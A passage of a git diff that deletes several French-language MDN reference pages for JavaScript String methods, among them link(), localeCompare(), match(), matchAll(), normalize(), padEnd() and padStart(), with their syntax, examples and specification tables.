{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.length")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/link/index.html b/files/fr/web/javascript/reference/objets_globaux/string/link/index.html deleted file mode 100644 index e36f231d3c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/link/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: String.prototype.link() -slug: Web/JavaScript/Reference/Objets_globaux/String/link -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/link ---- -
{{JSRef}}
- -

La méthode link() permet de créer une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}, ce qui permet d'afficher la chaîne de caractères comme un lien hypertexte vers une URL donnée.

- -

Syntaxe

- -
str.link(url)
- -

Paramètres

- -
-
url
-
Toute chaîne de caractères pouvant être utilisée comme valeur pour l'attribut href de la balise a. Cette chaîne doit être une URL valide (relative ou absolue) dont les caractères & sont échappés en &amp;, et dont les doubles quotes (") doivent être échappées avec l'entité &quot;.
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("a")}}.

- -

Description

- -

La méthode link permet de créer un fragment HTML avec un lien hypertexte. Le chaîne renvoyée par la méthode peut ensuite être ajoutée au document grâce aux méthodes {{domxref("document.write()")}} ou {{domxref("element.innerHTML")}}.

- -

Les liens créés avec la méthode link deviennent des éléments du tableau links, membre de l'objet document. Voir {{ Domxref("document.links") }}.

- -

Exemples

- -

L'exemple qui suit affiche le texte "MDN" avec un hyperlien qui envoie l'utilisateur vers le site du Mozilla Developer Network.

- -
var texteAffiché = "MDN";
-var URL = "https://developer.mozilla.org/";
-
-console.log("Cliquer ici pour revenir sur " + texteAffiché.link(URL));
-// Cliquer ici pour revenir sur <a href="https://developer.mozilla.org/">MDN</a>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.link', 'String.prototype.link')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.link', 'String.prototype.link')}}{{Spec2('ESDraft')}}Définie dans l'Annexe B (normative) pour les fonctionnalités ECMAScript additionnelles concernant les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.link")}}

- -

Notes relatives à Gecko

- -
    -
  • À partir de Gecko 17.0 {{geckoRelease("17")}} le symbole de double quote " est automatiquement remplacé par l'entité HTML de référence dans le paramètre url.
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.anchor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html b/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html deleted file mode 100644 index e7e2a2cffd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: String.prototype.localeCompare() -slug: Web/JavaScript/Reference/Objets_globaux/String/localeCompare -tags: - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare ---- -
{{JSRef}}
- -

La méthode localeCompare() renvoie un nombre indiquant si la chaîne de caractères courante se situe avant, après ou est la même que la chaîne passée en paramètre, selon l'ordre lexicographique.

- -
{{EmbedInteractiveExample("pages/js/string-localecompare.html")}}
- - - -

Les arguments locales et options permettent de définir la locale et des options pour adapter le comportement de la fonction. Les anciennes implémentations ignoreront les arguments locales et options. L'ordre de tri utilisé sera entièrement dépendant de l'implémentation.

- -

Syntaxe

- -
str.localeCompare(chaineÀComparer [, locales [, options]])
- -

Paramètres

- -

Voir le tableau de compatibilité des navigateurs pour savoir quels navigateurs prennent en charge les arguments locales et options. L'exemple pour vérifier le support des arguments locales et options fournit un fragment de code pour détecter la prise en charge de ces fonctionnalités.

- -
-
chaineÀComparer
-
La chaîne avec laquelle on souhaite comparer la chaîne de caractères courante.
-
- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator','Param.C3.A8tres')}}
- -

Valeur de retour

- -

Un nombre négatif si la chaîne de appelante est ordonnée avant la chaîne passée en argument, un nombre positif si elle se situe après, 0 si les deux chaînes sont équivalentes.

- -

Description

- -

Cette méthode renvoie un nombre entier qui indique si la chaîne de caractères courante se situe avant ou après la chaîne passée en argument selon l'ordre lexicographique tenant compte de la locale. Cette méthode renvoie

- -
    -
  • un nombre négatif si la chaîne de caractères courant se situe avant la chaîne chaineÀComparer
    • -
  • un nombre positif si elle se situe après
    • -
  • 0 si les deux chaînes se situent au même niveau
    • -
- -

Attention à ne pas tester que les valeurs -1 et 1. Les valeurs entières utilisées peuvent varier en fonction des navigateurs et de leurs versions. En effet, la spécification indique uniquement le signe de la valeur à fournir. Par exemple, certains navigateurs pourront renvoyer -2 ou 2 (voire d'autres valeurs).

- -

Exemples

- -

Utiliser la méthode localeCompare()

- -

L'exemple qui suit illustre les différents cas de figures lors de la comparaison des chaînes de caractères :

- -
console.log('a'.localeCompare('c')); // -2, ou -1, ou toute autre valeur négative
-console.log('c'.localeCompare('a')); // 2, ou 1, ou toute autre valeur positive
-console.log('a'.localeCompare('a')); // 0
-
- -

Les résultats illustrés ici peuvent varier entre les différents navigateurs et selon les versions des navigateurs. En effet, les valeurs renvoyées sont spécifiques selon les implémentations. La spécification définit uniquement le signe de la valeur à renvoyer.

- -

Trier un tableau

- -

localeCompare() permet de trier un tableau sans tenir compte de la casse :

- -
var items = ['réservé', 'Premier', 'Cliché', 'communiqué', 'café', 'Adieu'];
-items.sort((a, b) => a.localeCompare(b, 'fr', {ignorePunctuation: true}));
-// ['Adieu', 'café', 'Cliché', 'communiqué', 'Premier', 'réservé']
-
- -

Vérifier le support des arguments locales et options

- -

Les argument locales et options ne sont pas supportés par tous les navigateurs. Pour vérifier qu'une implémentation supporte ces paramètres, il est possible d'utiliser un cas d'erreur quand on utilise une balise de langue incorrecte (ce qui provoque une exception {{jsxref("RangeError")}}) :

- -
function localeCompareSupportsLocales() {
-    try {
-        "a".localeCompare​("b", "i");
-    } catch (e) {
-        return e​.name === "RangeError";
-    }
-    return false;
-}
-
- -

Utiliser le paramètre locales

- -

Les résultats fournis par la méthode localeCompare() peuvent varier selon les langues utilisées. Pour spécifier la langue à utiliser pour votre application, utiliser l'argument locales pour définir la locale à utiliser (et éventuellement des langues de recours) :

- -
console.log('ä'.localeCompare('z', 'de')); // une valeur négative : en allemand ä est avant z
-console.log('ä'.localeCompare('z', 'sv')); // une valeur positive : en suédois, ä arrive après z
-
- -

Utiliser le paramètre options

- -

Les résultats construits par la méthode localeCompare() peuvent être adaptés grâce au paramètre options :

- -
// en allemand, ä et a ont la même lettre de base
-console.log('ä'.localeCompare('a', 'de', {sensitivity: "base"})); // 0
-
-// en suédois, ä et a n'ont pas la même lettre de base
-console.log('ä'.localeCompare('a', 'sv', {sensitivity: "base"})); // une valeur positive
-
- -

Tri numérique

- -
// Par défaut, selon l'ordre lexicographique, "2" est supérieur à "10"
-console.log("2".localeCompare("10")); // 1
-
-// En utilisant un ordre numérique :
-console.log("2".localeCompare("10", undefined, {numeric: true})); // -1
-
-// En utilisant une balise de locale:
-console.log("2".localeCompare("10","en-u-kn-true")); // -1
-
- -

Performances

- -

Pour comparer un grand nombre de chaînes de caractères, par exemple pour trier de grands tableaux, il est préférable de créer un objet {{jsxref("Objets_globaux/Collator", "Intl.Collator")}} et utiliser la fonction fournie par la propriété {{jsxref("Collator.prototype.compare", "compare")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
- Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}{{Spec2('ES Int 1.0')}}Définition des paramètres locale et option
{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.localeCompare")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/match/index.html b/files/fr/web/javascript/reference/objets_globaux/string/match/index.html deleted file mode 100644 index cfa8ed4e58..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/match/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: String.prototype.match() -slug: Web/JavaScript/Reference/Objets_globaux/String/match -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/match ---- -
{{JSRef}}
- -

La méthode match() permet d'obtenir le tableau des correspondances entre la chaîne courante et une expression rationnelle.

- -
{{EmbedInteractiveExample("pages/js/string-match.html")}}
- - - -

Syntaxe

- -
str.match(regexp)
- -

Paramètres

- -
-
regexp
-
Un objet représentant une expression rationnelle. Si ce n'est pas un objet de type RegExp, celui-ci sera converti en un objet {{jsxref("RegExp")}} grâce à new RegExp(regexp). Si aucun paramètre n'est utilisé, cela renverra un tableau contenant un élément étant la chaîne vide : [""].
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) contenant les correspondances et les groupes capturés avec les parenthèses ou {{jsxref("null")}} s'il n'y a pas de correspondance. Le contenu de ce tableau dépend de l'utilisation du marqueur pour la recherche globale g :

- -
    -
  • Si le marqueur g est utilisé, tous les résultats correspondants à l'expression rationnelle complète seront renvoyés mais les groupes capturants ne seront pas renvoyés.
    • -
  • Si le marqueur g n'est pas utilisé, seule la première correspondance et ses groupes capturants seront renvoyés. Dans ce cas, l'élément renvoyé aura des propriétés supplémentaires listées ci-après.
    • -
- -

Propriétés supplémentaires

- -

Comme indiqué ci-avant, les résultats peuvent contenir certaines propriétés supplémentaires :

- -
    -
  • groups : un tableau de groupes capturants nommés ou {{jsxref("undefined")}} si aucun groupe capturant n'a été défini. Voir la page sur les groupes et les intervalles pour plus d'informations.
    • -
  • index : l'indice de la chaîne de caractères où a été trouvée la correspondance.
    • -
  • input : une copie de la chaîne sur laquelle a été effectuée la recherche.
    • -
- -

Description

- -

Si l'expression n'utilise pas le drapeau (flag) g, le résultat obtenu sera le même qu'avec {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}.

- -

Voir aussi : les méthodes de RegExp

- -
    -
  • Si on souhaite savoir s'il existe des correspondances entre une chaîne de caractères et une expression rationnelle {{jsxref("RegExp")}}, on pourra utiliser {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}.
    • -
  • Si on ne souhaite obtenir que la première correspondance, on pourra plutôt utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.
    • -
  • Si on souhaite obtenir les groupes correspondants et que le drapeau « global » est activé, il faudra utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.
    • -
- -

Exemples

- -

Utiliser match()

- -

Dans l'exemple suivant, on utilise match() afin de trouver la chaîne 'Chapitre' suivie par un ou plusieurs chiffres séparés par des points. L'expression utilisée active le drapeau i afin que la casse ne soit pas prise en compte.

- -
var str = 'Pour plus d\'informations, voir le chapitre 3.4.5.1';
-var re = /(chapitre \d+(\.\d)*)/i;
-var trouvé = str.match(re);
-
-console.log(trouvé);
-
-// logs ['chapitre 3.4.5.1', 'chapitre 3.4.5.1', '.1']
-
-// 'chapitre 3.4.5.1' est la première correspondance
-// 'chapitre 3.4.5.1' est la valeur gardée en mémoire par
-// `(chapitre \d+(\.\d)*)`.
-// '.1' est la valeur gardée en mémoire par `(\.\d)`.
-
- -

Utiliser les drapeaux g (global) et i (ignorer la casse) avec match()

- -

Dans cet exemple, on illustre comment utiliser des drapeaux avec l'expression rationnelle qui est un argument de match(). Chaque lettre de A à E et de a à e est renvoyée, chacune dans un élément du tableau de résultat.

- -
var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
-var regexp = /[A-E]/gi;
-var tableau_correspondances = str.match(regexp);
-
-console.log(tableau_correspondances);
-// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
-
- -

Utiliser un paramètre qui n'est pas une RegExp

- -

Lorsque le paramètre passé à la fonction est une chaîne de caractères ou un nombre, il est converti de façon implicite en un objet  {{jsxref("RegExp")}} grâce à new RegExp(obj). Si c'est un nombre positif avec le signe +, la méthode RegExp() ignorera ce signe.

- -
var str1 = "NaN signifie : qui n'est pas un nombre.";
-var str2 = "Mon père a 65 ans."
-str1.match("nombre");   // "nombre" est une chaîne, renvoie ["nombre"]
-str1.match(NaN);        // NaN est de type number, renvoie ["NaN"]
-str2.match(65);         // Renvoie ["65"]
-str2.match(+65);        // Renvoie également ["65"]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.match")}}

- -

Notes spécifiques à Firefox/Gecko

- -
    -
  • flags était un second argument non standard présent uniquement sur Gecko : str.match(regexp, flags) et a été retiré avec Firefox 49.
    • -
  • À partir de Firefox 27, cette méthode a été ajustée afin d'être conforme à ECMAScript. Lorsque match() est appelée sur une expression rationnelle globale, la propriété {{jsxref("RegExp.lastIndex")}} de l'objet sera redéfini à 0 ({{bug(501739)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("RegExp")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html deleted file mode 100644 index adf4f5bac6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: String.prototype.matchAll() -slug: Web/JavaScript/Reference/Objets_globaux/String/matchAll -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll ---- -
{{JSRef}}
- -

La méthode matchAll() renvoie un itérateur contenant l'ensemble des correspondances entre une chaîne de caractères d'une part et une expression rationnelle d'autre part (y compris les groupes capturants).

- -
{{EmbedInteractiveExample("pages/js/string-matchall.html")}}
- - - -

Syntaxe

- -
str.matchAll(regexp)
- -

Paramètres

- -
-
regexp
-
Un objet représentant une expression rationnelle. Si cet objet n'est pas une instance de {{jsxref("RegExp")}}, il est automatiquement et implicitement converti en une telle instance à l'aide de new RegExp(obj).
-
- -

Valeur de retour

- -

Un itérateur.

- -

Exemples

- -

Regexp.exec() et matchAll()

- -

Avant l'apparition de matchAll() en JavaScript, il était possible d'utiliser {{jsxref("RegExp.exec")}} (et des expressions rationnelles utilisant le marqueur /g) dans une boucle afin d'obtenir l'ensemble des correspondances :

- -
const regexp = RegExp('foo*','g');
-const str = 'table football, foosball';
-
-while ((matches = regexp.exec(str)) !== null) {
-  console.log(`${matches[0]} trouvé. Prochaine recherche à partir de ${regexp.lastIndex}.`);
-  // dans la console : "foo trouvé. Prochaine recherche à partir de 9."
-  // dans la console : "foo trouvé. Prochaine recherche à partir de 19."
-}
-
- -

Avec matchAll(), on peut éviter la boucle while et le marqueur global. On récupère l'itérateur et on utilise une boucle for...of, la décomposition de tableau ou encore {{jsxref("Array.from()")}} :

- -
const regexp = RegExp('foo*','g');
-const str = 'table football, foosball';
-let matches = str.matchAll(regexp);
-
-for (const match of matches) {
-  console.log(match);
-}
-// Array [ "foo" ]
-// Array [ "foo" ]
-
-// l'itérateur est épuise après l'itération via for..of
-// On rappelle matchAll afin de créer un nouvel itérateur
-matches = str.matchAll(regexp);
-
-Array.from(matches, m => m[0]);
-// Array [ "foo", "foo" ]
-
- -

Meilleur accès aux groupes capturants

- -

Un autre avantage de matchAll() est un meilleur accès aux groupes capturants. De fait, les groupes capturants sont ignorés par match() lorsqu'on utilise le marqueur global /g :

- -
var regexp = /t(e)(st(\d?))/g;
-var str = 'test1test2';
-
-str.match(regexp);
-// Array ['test1', 'test2']
- -

Avec matchAll(), on peut y accéder :

- -
let array = [...str.matchAll(regexp)];
-
-array[0];
-// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
-array[1];
-// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.matchall', 'String.prototype.matchAll')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.matchAll")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RegExp")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html b/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html deleted file mode 100644 index 398c9eaefe..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: String.prototype.normalize() -slug: Web/JavaScript/Reference/Objets_globaux/String/normalize -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - String - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize ---- -
{{JSRef}}
- -

La méthode normalize() permet de renvoyer la forme normalisée Unicode d'une chaîne de caractères (si la valeur n'est pas une chaîne de caractères, elle sera convertie).

- -
{{EmbedInteractiveExample("pages/js/string-normalize.html")}}
- - - -

Syntaxe

- -
str.normalize([form]);
- -

Paramètres

- -
-
form
-
Paramètre optionnel. Une chaîne parmi "NFC", "NFD", "NFKC", ou "NFKD", définissant la forme de normalisation Unicode à utiliser. Si le paramètre n'est pas précisé ou vaut {{jsxref("undefined")}}, la valeur par défaut utilisée sera "NFC". -
    -
  • NFC - Normalization Form Canonical Composition.
    • -
  • NFD - Normalization Form Canonical Decomposition.
    • -
  • NFKC - Normalization Form Compatibility Composition.
    • -
  • NFKD - Normalization Form Compatibility Decomposition.
    • -
-
-
- -

Valeur de retour

- -

Une chaîne de caractères qui est le forme Unicode normalisée de la chaîne appelante.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Une exception RangeError est envoyée si le paramètre form n'est pas une des valeurs définies ci-avant.
-
- -

Description

- -

La méthode normalize() renvoie la forme normalisée Unicode de la chaîne de caractères. Elle n'affecte pas la valeur de la chaîne.

- -

Exemples

- -
// Chaîne initiale
-
-// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
-// U+0323: COMBINING DOT BELOW
-var str = "\u1E9B\u0323";
-
-
-// Forme canonique composée (Canonically-composed form) (NFC)
-
-// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
-// U+0323: COMBINING DOT BELOW
-str.normalize("NFC"); // "\u1E9B\u0323"
-str.normalize(); // la même chaîne que précédemment
-
-
-// Forme canonique décomposée (Canonically-decomposed form) (NFD)
-
-// U+017F: LATIN SMALL LETTER LONG S
-// U+0323: COMBINING DOT BELOW
-// U+0307: COMBINING DOT ABOVE
-str.normalize("NFD"); // "\u017F\u0323\u0307"
-
-
-// Forme composée compatible (NFKC)
-
-// U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
-str.normalize("NFKC"); // "\u1E69"
-
-
-// Forme décomposée compatible (NFKD)
-
-// U+0073: LATIN SMALL LETTER S
-// U+0323: COMBINING DOT BELOW
-// U+0307: COMBINING DOT ABOVE
-str.normalize("NFKD"); // "\u0073\u0323\u0307"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.normalize")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html b/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html deleted file mode 100644 index 4bb1897fe1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: String.prototype.padEnd() -slug: Web/JavaScript/Reference/Objets_globaux/String/padEnd -tags: - - JavaScript - - Méthode - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd ---- -
{{JSRef}}
- -

La méthode padEnd() permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis la fin.

- -
{{EmbedInteractiveExample("pages/js/string-padend.html")}}
- - - -

Syntaxe

- -
str.padEnd(longueurCible [, chaîneComplémentaire])
- -

Paramètres

- -
-
longueurCible
-
La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.
-
chaîneComplémentaire {{optional_inline}}
-
La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche pour les langues écrites de gauche à droite et la partie la plus à droite pour les langues écrites de droite à gauche). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.
-
- -

Valeur de retour

- -

Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie.

- -

Exemples

- -
'abc'.padEnd(10);         // "abc       "
-'abc'.padEnd(10, "toto"); // "abctototot"
-'abc'.padEnd(6,"123456"); // "abc123"
-'abc'.padEnd(1);          // "abc"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.padEnd")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.padStart()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html b/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html deleted file mode 100644 index d5c3500027..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: String.prototype.padStart() -slug: Web/JavaScript/Reference/Objets_globaux/String/padStart -tags: - - JavaScript - - Méthode - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart ---- -
{{JSRef}}
- -

La méthode padStart() permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis le début.

- -
{{EmbedInteractiveExample("pages/js/string-padstart.html")}}
- - - -

Syntaxe

- -
str.padStart(longueurCible [, chaîneComplémentaire])
- -

Paramètres

- -
-
longueurCible
-
La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.
-
chaîneComplémentaire {{optional_inline}}
-
La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche quand la langue s'écrit de gauche à droite). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.
-
- -

Valeur de retour

- -

Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie au début de la chaîne courante.

- -

Exemples

- -
'abc'.padStart(10);         // "        abc"
-'abc'.padStart(10, "toto"); // "totototabc"
-'abc'.padStart(6,"123465"); // "123abc"
-'abc'.padStart(8, "0");     // "00000abc"
-'abc'.padStart(1);          // "abc"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.padStart")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.padEnd()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html deleted file mode 100644 index f7fc1c80a6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: String.prototype -slug: Web/JavaScript/Reference/Objets_globaux/String/prototype -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String -translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype ---- -
{{JSRef}}
- -

La propriété String.prototype représente l'objet prototype de {{jsxref("String")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Toutes les instances de {{jsxref("String")}} héritent de String.prototype. Les modifications de l'objet prototype String sont répercutées sur toutes les instances de String.

- -

Propriétés

- -
-
String.prototype.constructor
-
Définit la fonction créant le prototype d'un objet.
-
{{jsxref("String.prototype.length")}}
-
Reflète la longueur de la chaîne
-
N
-
Utilisée pour accéder au caractère en Nème position où N est un entier entre 0 et la valeur de {{jsxref("String.length")}} moins un. Ces propriétés sont en lecture seule.
-
- -

Méthodes

- -

Méthodes non liées à HTML

- -
-
{{jsxref("String.prototype.charAt()")}}
-
Renvoie le caractère (ou plus précisement, le point de code UTF-16) à la position spécifiée.
-
{{jsxref("String.prototype.charCodeAt()")}}
-
Renvoie un nombre indiquant la valeur du point de code UTF-16 du caractère à la position spécifiée.
-
{{jsxref("String.prototype.codePointAt()")}}
-
Renvoie un entier positif qui est la valeur du codet UTF-16 à la position donnée.
-
{{jsxref("String.prototype.concat()")}}
-
Combine le texte de deux chaînes et renvoie une nouvelle chaîne.
-
{{jsxref("String.prototype.includes()")}}
-
Défini si une chaîne de caractères est contenue dans une autre chaîne de caractères.
-
{{jsxref("String.prototype.endsWith()")}}
-
Défini si une chaîne de caractère se termine par une chaîne de caractères spécifique.
-
{{jsxref("String.prototype.indexOf()")}}
-
Renvoie la position, au sein de l'objet String appelant, de la première occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.
-
{{jsxref("String.prototype.lastIndexOf()")}}
-
Renvoie la position, au sein de l'objet String appelant, de la dernière occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.
-
{{jsxref("String.prototype.localeCompare()")}}
-
Renvoie un nombre indiquant si une chaîne de référence vient avant, après ou est en position identique à la chaîne donnée selon un ordre de tri.
-
{{jsxref("String.prototype.match()")}}
-
Utilisée pour faire correspondre une expression rationnelle avec une chaîne.
-
{{jsxref("String.prototype.matchAll()")}}
-
Renvoie un itérateur listant l'ensemble des correspondances d'une expression rationnelle avec la chaîne.
-
{{jsxref("String.prototype.normalize()")}}
-
Retourne la forme Unicode normalisée de la chaîne de caractères appelée.
-
{{jsxref("String.prototype.padEnd()")}}
-
Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée à la fin.
-
{{jsxref("String.prototype.padStart()")}}
-
Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée au début.
-
- -
-
{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}
-
Entoure la chaîne de guillemets doubles anglais (""").
-
{{jsxref("String.prototype.repeat()")}}
-
Renvoie une chaîne dont le contenu est la chaîne courante répétée un certain nombre de fois.
-
{{jsxref("String.prototype.replace()")}}
-
